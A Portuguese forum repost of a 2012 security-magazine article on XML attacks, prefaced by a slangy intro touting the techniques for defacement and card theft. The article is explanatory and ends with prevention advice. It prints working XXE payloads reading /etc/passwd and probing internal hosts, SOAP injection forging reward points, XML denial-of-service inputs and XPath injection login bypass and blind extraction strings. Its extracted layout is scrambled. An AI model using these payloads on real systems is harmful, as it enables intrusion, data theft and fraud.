xml attack ou XME

e uma tecnica de inject , como sql mas muito melhor sql qualquer um aprende usanso sql map e uma dork acabo kkkk owna facil!!!

mas, xml no são varios aspectos, como DDos deface e ate rouba cc isso mesmo cc carde carding

mas a tecnica leva calma e e molesa pra que quer se aprofunda ^^
----------------------------------------------------------------------------------------------------------------------------------------------------------------
Introdução
O XML (eXtensible Markup Language) é uma lin­
guagem de marcação, criada pela W3C, permitindo
descrever diversos tipos de dados. Foi criada para fa­
cilitar o compartilhamento de informações através de
sistemas, especialmente pela Internet. O XML com­
bina o flexível padrão SGML (Standard Generalized
Markup Language) com o padrão de sintaxe simples
HTML (HyperText Markup Language). No padrão
XML, os dados são organizados de forma hierárqui­
ca, permitindo a criação de banco de dados, textos
formatados e até mesmo imagens vetoriais. Este pa­
drão também facilita a comunicação entre sistemas
distintos, permitindo, por exemplo, que um banco de
dados seja exportado através de XML e importado
em outro banco de dados.
Apresento, nos próximos tópicos, os ataques mais
conhecidos em aplicações web utilizando o padrão
XML. Profissionais de segurança e desenvolvedores
devem estar especialmente atentos a estes ataques já
que existe uma crescente tendência ao uso de XML
para comunicação entre componentes de aplicações
web. Inclusive, muitas aplicações móveis utilizam
um browser ou um cliente customizado para se co­
municar com o servidor, utilizando APIs baseadas em
HTTP e XML. É importante destacar que não apre­
sento aqui todos os tipos possíveis de ataque explo­
rando XML. Caso o leitor queira se aprofundar no
assunto, as referências utilizadas como base para ela­
boração deste artigo contém mais informações sobre
ataques no processamento de XML.
2. XML External Enti ity (XXE) Attack
Em meus trabalhos de testes de intrusão em apli­
cações, tenho observado nos últimos anos um au­
mento no número de aplicações que utilizam o
padrão XML para envio de dados entre o browser e o
servidor web. Após a requisição XML ser enviada ao
servidor, a aplicação, no lado servidor, processa os
dados enviados e retorna uma resposta, geralmente
também em XML. Este comportamento é típico de
aplicações que utilizam a tecnologia AJAX (Asynch­
ronous Javascript and XML), porém pode­se obser­
var
este
mesmo
comportamento
em
outras
tecnologias utilizadas em aplicações web.
Considere uma aplicação que permite realizar
buscas em uma base de clientes. Por exemplo, quan­
do o usuário realiza uma busca por um nome de cli­
ente, o browser envia a seguinte consulta XML ao
servidor:
Julho 2012 • segurancadigital.info
Ataques em XML
|06
Como Atacantes Podem Manipular sua Aplicação?
POST /clientes/busca/ListaClientes.php HTTP/1.1
Host: localhost
Content­Type:text/xml; charset=utf­8
Content­Length: XXX
A aplicação poderia responder da seguinte forma:
Caso a entrada de dados não seja adequadamente
validada ou tratada, a aplicação pode estar vulnerável
a XML external entity (XXE) attack. Isto ocorre
porque as bibliotecas que processam XML permitem
o uso de referências a entidades. Por exemplo, pode­
se criar a seguinte entidade de referência:
Se o texto XML incluir esta definição acima, a bi­
blioteca que processa o XML irá substituir as ocor­
rências da entidade &cliente; em qualquer posição
do texto pelo valor definido: ClienteTeste.
O perigo é que o padrão XML aceita o uso de re­
ferências externas, incluindo URLs, arquivos e dire­
tórios. Por exemplo, um atacante poderia explorar a
aplicação para ler arquivos arbitrários do sistema:
Se a aplicação estivesse vulnerável, a seguinte
resposta seria retornada:
A aplicação retornaria todo o conteúdo do arquivo
/etc/passwd. Este ataque pode ser utilizado para ler
arquivos sensíveis do sistema operacional, arquivos
contendo chaves criptográficas, código fonte da apli­
cação e arquivos de configuração contendo senhas de
banco de dados. Através das informações obtidas em
arquivos sensíveis, um atacante pode conseguir com­
prometer toda a segurança da aplicação e/ou da in­
fraestrutura que suporta a aplicação.
Esta mesma técnica pode ser utilizada para outros
ataques:
O exemplo abaixo mostra como é possível forçar
a aplicação a acessar uma URL através de um ataque
XXE. Suponha que o servidor da aplicação afetada
possua acesso ao web site da Intranet da organização
alvo.
Um atacante também pode utilizar a aplicação pa­
ra realizar uma varredura de portas em hosts inter­
nos, protegidos por firewall, através de um script que
teste diferentes portas e endereços IP. Veja o seguinte
exemplo:
ARTIGO Segurança Digital
Julho 2012 • segurancadigital.info
|07
<ListaClientes><NomeCliente>Teste</NomeCliente></
ListaClientes>
[!DOCTYPE exemplo [ <!ENTITY cliente
“ClienteTeste” > ]>
POST /clientes/busca/ListaClientes.php HTTP/1.1
Host: localhost
Content­Type:text/xml; charset=utf­8
Content­Length: XXX
[!DOCTYPE exemplo [ <!ENTITY ataque SYSTEM
“file:///etc/passwd” > ]>
<ListaClientes><NomeCliente>&ataque;</NomeClient
e></ListaClientes>
HTTP/1.1 200 OK
Content­Type:text/xml; charset=utf­8
Content­Length: XXX
<ListaClientes><NomeCliente>Não foi encontrado
cliente com o nome root0:0:Root
User:/root:/bin/bash
bin1:1:Binary Installation
User:/bin:/sbin/nologin
Realizar varreduras de portas em hosts protegidos
por firewall;
Acessar sites internos da organização, não
acessíveis pela Internet;
Utilizar o servidor web como proxy para acessar ou
atacar outros sites na Internet;
Roubar credenciais NTML ao forçar o servidor a
acessar compartilhamento controlado pelo atacante;
Realizar ataque de negação de serviço contra o
servidor da aplicação.
POST /clientes/busca/ListaClientes.php HTTP/1.1
Host: localhost
Content­Type:text/xml; charset=utf­8
Content­Length: XXX
[!DOCTYPE exemplo [ <!ENTITY ataque SYSTEM
“http://intranet” > ]>
<ListaClientes><NomeCliente>&ataque;</NomeClient
e></ListaClientes>
POST /clientes/busca/ListaClientes.php HTTP/1.1
Host: localhost
Content­Type:text/xml; charset=utf­8
HTTP/1.1 200 OK
Content­Type:text/xml; charset=utf­8
Content­Length: XXX
<ListaClientes><NomeCliente>Não foi encontrado
cliente com o nome
Teste</NomeCliente></ListaClientes>
daemon2:2:daemon:/sbin:/sbin/nologin
adm3:4:adm:/var/adm:/sbin/nologin
lp4:7:lp:/var/spool/lpd:/sbin/nologin
...
­
­
­
­
­
Através de diferenças de tempo na resposta, o
script pode conseguir determinar se a porta está aber­
ta ou fechada no host alvo.
Há também a possibilidade de realizar ataques de
negação de serviço (Denial of Service) através de
vulnerabilidades de XXE. Por exemplo, pode­se fa­
zer o componente que processa XML ler um arquivo
continuamente e sem parar:
Um ataque de negação de serviço através de XXE
muito
conhecido
é
denominado
como
“Billion
laughs” (Bilhões de Risadas). Para entender este ata­
que é preciso conhecer a possibilidade de recursão no
XML Document Type Definition (DTD).
Explorando esta possibilidade, um atacante pode
criar um pequeno DTD que recursivamente carregue
na memória um número de bytes altíssimo, como no
exemplo abaixo:
Quando o XML acima é processado, a entidade
&lol9; é substituída pela sequência de entidades
&lol8;. E cada entidade &lol8; é substituída por uma
sequência de entidades, e assim sucessivamente. O
resultado é que este pequeno XML acima gera uma
mensagem de 1 bilhão de risadas (lol’s), ocupando
3GB de memória. É fácil perceber que este ataque
pode ser utilizado para consumir a memória de um
servidor, tornando­o indisponível.
3. SOAP I Inj jecti ion
O SOAP (Simple Object Access Protocol) é utili­
zado para envio de mensagens entre sistemas, encap­
sulando dados, através do padrão XML. O uso mais
comum do protocolo SOAP é em Web Services. Para
quem não conhece, Web Services são componentes,
acessíveis remotamente, que permitem o uso de fun­
ções, de forma padronizada, por diferentes sistemas e
aplicações de uma organização. Em aplicações web,
normalmente, o SOAP é utilizado na comunicação
entre a aplicação web e componentes internos.
Como o protocolo SOAP utiliza a linguagem
XML para comunicação, pode­se realizar ataques de
injeção de XML caso a aplicação não valide ou trate
a entrada de qualquer dado utilizado para montar a
requisição SOAP. Como exemplo, considere uma
aplicação de jogos on­line que permite o recebimento
de prêmios com base em pontos acumulados, envian­
do a seguinte requisição do browser do usuário ao
servidor para utilizar os pontos acumuladas na aqui­
sição de um prêmio:
Depois de inicialmente processar esta transação
de recuperação de prêmio e obter do banco de dados
o valor em pontos do prêmio solicitado, bem como
validar que o usuário possui quantidade de pontos
suficiente para o resgate, a aplicação finalizaria a
operação de recuperação de prêmio através de um
Web Service.
ARTIGO Segurança Digital
Julho 2012 • segurancadigital.info
|08
[!DOCTYPE exemplo [ <!ENTITY ataque SYSTEM
“file:///dev/random” > ]>
<ListaClientes><NomeCliente>&ataque;</NomeCliente
></ListaClientes>
[!DOCTYPE exemplo [
<!ENTITY empresa “Exemplo Ltda.” >
<!ENTITY cliente “Razão Social: &empresa” >
]>
Fonte: [Tens de ter uma conta e sessão iniciada para poderes visualizar este link]
POST /premio/ResgataPremio.jsp HTTP/1.1
Host: localhost
Content­Type:text/xml; charset=utf­8
Content­Length: XXX
Cookie: sessiondID=xxxxxxxxxxxxxxxxxxxxx;
idPremio=4551&codUsuario=3992&MetodoEntrega=2
<soap:Envelope
xmlns:soap=”http://www.w3.org/2001/12/soap­
envelope”>
<soap:Body>
<pre:Add xmlns:pre=http://target/lists
soap:encodingStyle=“http://www.w3.org/2001/12/soap­
encoding”>
<Resgate>
<idPremio>4551</idPremio>
<codUsuario>3992</codUsuario>
Content­Length: XXX
[!DOCTYPE exemplo [ <!ENTITY ataque SYSTEM
“http://10.1.1.2:22” > ]>
<ListaClientes><NomeCliente>&ataque;</NomeCliente
></ListaClientes>
ARTIGO Segurança Digital
Julho 2012 • segurancadigital.info
|09
Um atacante pode subverter a segurança desta
aplicação através de uma entrada de dado que modi­
fique a requisição SOAP enviada ao servidor interno
acessado pela aplicação.
A sequência de caracteres <!­­ é usada para abrir
comentários no XML e a sequência ­­> é usada para
fechar os comentários. Com o ataque acima, a aplica­
ção iria inserir uma tag <Pontos>0</Pontos> na re­
quisição SOAP e comentar parte da requisição,
removendo a tag <Pontos> original, contendo o valor
de pontuação necessário para resgatar o prêmio.
Assim, o atacante conseguiria resgatar o prêmio
sem gastar pontos acumulados. Apesar do exemplo
acima ter utilizado uma hipotética aplicação de jo­
gos, este tipo de vulnerabilidade pode afetar diversos
tipos de aplicações, incluindo aplicações financeiras
e de comércio eletrônico. Um ataque de SOAP Injec­
tion pode ter sérias consequências, permitindo que
um atacante consiga subverter completamente a se­
gurança da aplicação.
A exploração de SOAP Injection, em muitos ca­
sos, exige que o atacante consiga mapear toda ou
parte da estrutura da requisição SOAP, conhecendo
nomes de tags. Em alguns casos, devido a um trata­
mento inadequado de mensagens de erro, a aplicação
pode revelar informações sobre a requisição SOAP
ao atacante. No entanto, pode ser que o atacante não
tenha qualquer informação útil que o permita conhe­
cer a estrutura da requisição SOAP. Caso não consiga
acesso ao código da aplicação, provavelmente, terá
que fazer ataques de dedução, sem garantia de suces­
so.
4. Ataques de Negação de Servi iço em
Web Servi ices
O processamento de mensagens e arquivos XML
pode consumir muitos recursos de CPU e memória.
Ataques podem ser realizados para explorar esta ca­
racterística, através do envio de conteúdo XML mal
formado ou muito longo.
Considere o seguinte exemplo em que um nome
de atributo é inserido com um tamanho absurdamente
longo (exemplo: 700 MB):
Este tipo de ataque é possível porque o padrão
XML não limita o tamanho dos componentes em tags
XML. No exemplo acima, o atacante teria que ter
possibilidade de enviar requisição SOAP para um
Web Service ou teria que explorar com sucesso uma
vulnerabilidade de SOAP Injection. Caso o desen­
volvedor não tenha estabelecido limites de tamanho
<Pontos>2500</Pontos>
<MetodoEntrega>2</MetodoEntrega>
</Resgate>
</pre:Add>
</soap:Body>
</soap:Envelope>
POST /premio/ResgataPremio.jsp HTTP/1.1
Host: localhost
Content­Type:text/xml; charset=utf­8
Content­Length: XXX
Cookie: sessiondID=xxxxxxxxxxxxxxxxxxxxx;
idPremio=4551&codUsuario=3992</codUsuario><Pon
tos>0</Pontos><!­­&MetodoEntrega=2­­
><MetodoEntrega>2
<soap:Envelope
xmlns:soap=”http://www.w3.org/2001/12/soap­
envelope”>
<soap:Body>
<pre:Add xmlns:pre=http://target/lists
soap:encodingStyle=“http://www.w3.org/2001/12/soap­
encoding”>
<Resgate>
<idPremio>4551</idPremio>
<codUsuario>3992</codUsuario><Pontos>0</Pontos
><!­­</codUsuario>
<Pontos>2500</Pontos>
<MetodoEntrega>2­­
><MetodoEntrega>2</MetodoEntrega>
</Resgate>
</pre:Add>
</soap:Body>
</soap:Envelope>
<?xml version=”1.0” encoding=”UTF­8”?>
<soap:Envelope
xmlns:soap=”http://schemas.xmlsoap.org/soap/envelope/
”>
<soap:Body>
<AAAA<!­­Nome de Elemento com Tamanho
Extremamente Longo­­>AAAAA>
<!­­Valor Qualquer­­>
</AAAA<!­­Nome de Elemento com Tamanho
Extremamente Longo­­>AAAAA>
</soap:Body>
</soap:Envelope>
ARTIGO Segurança Digital
Julho 2012 • segurancadigital.info
|10
para cada elemento, atributo e valor de atributo, pro­
vavelmente o Web Service é vulnerável.
Para mais informações sobre este tipo de ataque,
consulte os seguintes links:
[Tens de ter uma conta e sessão iniciada para poderes visualizar este link]
d_XML_DOS
[Tens de ter uma conta e sessão iniciada para poderes visualizar este link]
_Structural_(OWASP­WS­003)
5. XPATH I Inj jecti ion
O XPATH (XML Path Language) é uma lingua­
gem interpretada para consulta de dados armazena­
dos em documentos XML. Apesar de o padrão XML
não ser geralmente utilizado para armazenamento de
grande quantidade de dados em bancos de dados cor­
porativos, utiliza­se com frequência documentos
XML para armazenar dados de configuração utiliza­
dos de forma dinâmica na aplicação. E algumas apli­
cações utilizam documento XML para armazenar
informações de credenciais de usuários, privilégios e
perfis de acesso.
Considere o seguinte trecho de um documento
XML utilizado para autenticação e controle de aces­
so:
Por exemplo, para listar o endereço de e­mail do
usuário joao, a aplicação faria a seguinte consulta
XPATH:
Imagine que a aplicação realiza autenticação atra­
vés deste documento XML, utilizando a seguinte
consulta:
Caso o usuário digite o login “teste” e senha
“naosei”, a aplicação realizaria a seguinte consulta
XPATH:
Como não existe nenhum “node” com os valores
de login e senha correspondentes à consulta acima, a
aplicação retornaria uma mensagem de erro de au­
tenticação para o usuário.
No entanto, um atacante poderia entrar os seguin­
tes valores de usuário e senha:
Neste caso, a aplicação realizaria a seguinte con­
sulta XPATH:
Como a consulta acima retorna todos os usuários
cadastrados, o atacante provavelmente conseguirá se
autenticar na aplicação.
Os ataques de XPATH Injection também podem
ser utilizados para extrair dados sensíveis armazena­
dos em documentos XML. Considere que esta mes­
ma aplicação lista os dados do usuário (login,
privilégio, email e CPF) na página inicial após uma
autenticação bem sucedida, passando o parâmetro de
login como mostra o exemplo abaixo:
Para obter os dados do usuário joao, por exemplo,
a aplicação realiza a seguinte consulta XPATH:
Um atacante poderia forçar a aplicação a listar os
dados de todos os usuários através do seguinte ata­
que:
A seguinte consulta XPATH seria realizada:
Neste caso, a aplicação retornaria os dados de to­
dos os usuários, incluindo dados sensíveis como o
<acesso>
<usuario>
<login>marcelo</login>
<privilegio>admin</privilegio>
<password>D0n’thackme</password>
<email>marcelo@teste.com</email>
<cpf>111.111.111­11</cpf>
</usuario>
<usuario>
<login>joao</login>
<privilegio>user</privilegio>
<password>esqueciasenha</password>
<email>joao@teste.com</email>
<cpf>222.222.222­22</cpf>
</usuario>
</acesso>
//usuario[login/text()=’joao’]/email/text()
//usuario[login/text=’" & Request("login") & "’and
password/text=’" & Request("password") & "’]
//usuario[login/text=’teste’and password/text=’naosei’]
Usuário: ‘ or ‘a’=’a
Senha: ‘ or ‘a’=’a
//usuario[login/text=’’or ‘a’=’a’and password/text=’‘
or ‘a’=’a’]
[Tens de ter uma conta e sessão iniciada para poderes visualizar este link]
//usuario[login/text=’’joao’’]
[Tens de ter uma conta e sessão iniciada para poderes visualizar este link]
‘a’=’a
//usuario[login/text=’’joao’or ‘a’=’a’]
ARTIGO Segurança Digital
Julho 2012 • segurancadigital.info
|11
número de CPF.
No entanto, nem sempre é tão fácil realizar ata­
ques de XPATH Injection para extrair informações
sensíveis de documentos XML. Às vezes é necessá­
rio realizar ataques utilizando técnicas de inferência
para extrair dados byte por byte. Considere o exem­
plo anterior de autenticação. Se o atacante colocar o
valor abaixo no campo “Senha”, a seguinte consulta
XPATH será realizada, resultando em erro de autenti­
cação:
Agora, se o atacante colocar o valor abaixo no
campo “Senha”, a autenticação será bem sucedida:
Com este simples exemplo, pode­se constatar a
possibilidade de causar respostas diferentes na apli­
cação através de manipulação da lógica da consulta
XPATH. Um atacante pode usar estas diferentes res­
postas para extrair informações caractere a caractere.
Veja o seguinte exemplo:
A consulta acima resultaria em autenticação bem
sucedida se o primeiro caractere da senha do login
marcelo fosse 0 ou resultaria em erro de autenticação
caso o primeiro caractere da senha do login marcelo
fosse diferente de 0. Um atacante poderia desenvol­
ver um script para testar caractere a caractere e posi­
ção a posição utilizando operadores lógicos para
extrair as senhas dos usuários..
O ataque acima depende de o atacante conhecer a
estrutura do documento XML. Em um ataque real­
mente cego (Blind XPath Injection), o atacante preci­
sa utilizar consultas relativas ao “node” atual para
conseguir extrair as informações. Um atacante pode,
por exemplo, utilizar esta técnica para obter o nome
do node pai, colocando o seguinte valor no campo
“Senha”:
Isto resultaria na seguinte consulta XPATH:
Como o primeiro caractere do node pai (“usua­
rio”) é “u”, a aplicação retornaria uma autenticação
bem sucedida. Um atacante poderia desenvolver um
script para percorrer toda a tabela ASCII e todas as
posições para determinar o nome do node pai. Em
seguida, o atacante pode utilizar um script para obter
todos os nodes filhos (child) através da mesma técni­
ca. Este exemplo é suficiente para mostrar que um
atacante pode conseguir extrair dados através de ata­
ques de XPATH Injection mesmo sem possuir infor­
mações sobre a estrutura da base de dados XML.
6. Como Preveni ir
Para prevenir ataques de XXE(XML external en­
tity) e de SOAP Injection, deve­se realizar forte vali­
dação e tratamento na entrada de dados, evitando
referências a entidades e tags. Em especial deve­se
ter cuidado com caracteres especiais utilizados em
sintaxe XML, como os caracteres > < / ; e &. A mes­
ma recomendação aplica­se para evitar falhas de
XPath Injection, rejeitando ou tratando caracteres
que podem influenciar em consultas XPath, incluindo
( ) = ‘ [ ] : , * e /. A melhor abordagem de validação
de entrada de dados é a abordagem white­list, na qual
apenas os caracteres estritamente necessários são
aceitos pela aplicação.
Para evitar ataques de XXE (XML external entity)
deve­se ter um cuidado especial no design da aplica­
ção, evitando que o cliente possa especificar mensa­
gens XML completas, especialmente, impedindo que
o usuário possa especificar XML Document Type
Definition (DTD). Pode­se também configurar o
componente que processa o XML para não resolver
entidades, o que é necessário para ataques de XXE.
Para se proteger de ataques de negação de serviço
através de Web Services, deve­se ter cuidado na vali­
dação do schema XML, estabelecendo limites de ta­
manho para cada elemento, atributo e valor de
atributo, bem como limites nas quantidades de atri­
butos, e realizando validação rigorosa nos parâmetros
enviados. Mensagens XML inválidas devem ser ime­
diatamente rejeitadas antes de realizar processamento
com potencial de consumir muitos recursos do servi­
dor. Para mais informações sobre proteção contra
ataques de negação de serviço envolvendo processa­
mento de XML, é interessante consultar o WS­At